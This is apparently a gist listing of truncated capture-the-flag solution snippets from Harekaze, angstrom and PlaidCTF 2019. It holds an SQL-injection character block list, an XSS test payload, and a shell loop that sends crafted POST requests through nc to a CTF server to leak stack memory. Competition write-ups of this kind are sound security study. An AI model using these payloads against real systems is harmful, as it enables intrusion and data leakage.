terjanq

Information Security Engineer @ Google

terjanq / harekaze19_solutions.md

Last active August 9, 2019 18:55

Harekaze 2019 writeups by terjanq (https://twitter.com/terjanq)

SQLite Voting

function is_valid($str) {
  $banword = [
    // dangerous chars
    // " % ' * + / < = > \ _ ` ~ -
    "[\"%'*+\\/<=>\\\\_`~-]",
 // whitespace chars

terjanq / DOMValidator.js

Created April 25, 2019 12:41

DOM Validator - angstrom CTF 2019

	function checksum (element) {
	var string = ''
	string += (element.attributes ? element.attributes.length : 0) + '\|'
	for (var i = 0; i < (element.attributes ? element.attributes.length : 0); i++) {
	string += element.attributes[i].name + ':' + element.attributes[i].value + '\|'
	}
	string += (element.childNodes ? element.childNodes.length : 0) + '\|'
	for (var i = 0; i < (element.childNodes ? element.childNodes.length : 0); i++) {
	string += checksum(element.childNodes[i]) + '\|'
	}

terjanq / test_post.html

Created April 25, 2019 12:37

DOM Validator - angstrom CTF 2019

	<!DOCTYPE html SYSTEM "3b16c602b53a3e4fc22f0d25cddb0fc4d1478e0233c83172c36d0a6cf46c171ed5811fbffc3cb9c3705b7258179ef11362760d105fb483937607dd46a6abcffc">
	<html>
	<head>
	<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/skeleton/2.0.4/skeleton.min.css">
	<script src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/rollups/sha512.js"></script>
	<script src="../scripts/DOMValidator.js"></script>
	</head>
	<body>
	<h1>test_post</h1>
	<p><script>alert('pwned')</script></p>

terjanq / soluton_quotes.sh

Last active April 15, 2019 10:54

Solution for Potent Quotes #pctf2019

	# The main issue was that nullbytes were being blocked so we needed a chunk of stack
	# that did not contain any null bytes
	# The trick was to put a huge body into the POST /api/flag request so it will fill most of the stack with printable characters
	# And then just leaking it

	#In terminal 1 run (leaking the stack to the file, looking for Location: header
	for j in {0..10}; do for i in {0..20}; do
	printf "POST /quotes/new HTTP/1.0\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 9000\r\n\r\nattribute=&quote=$$$$$$$$$$$"
	\| nc quotables.pwni.ng 1337 -q 1 >> aaa &; done; sleep 1; done

terjanq / blind_solution.py

Last active December 9, 2018 14:14

	#!/usr/bin/env python2
	# encoding: utf-8
	from pwn import *
	from Crypto.Util.number import long_to_bytes


	def chinese_remainder(n, a):
	sum = 0
	prod = reduce(lambda a, b: a*b, n)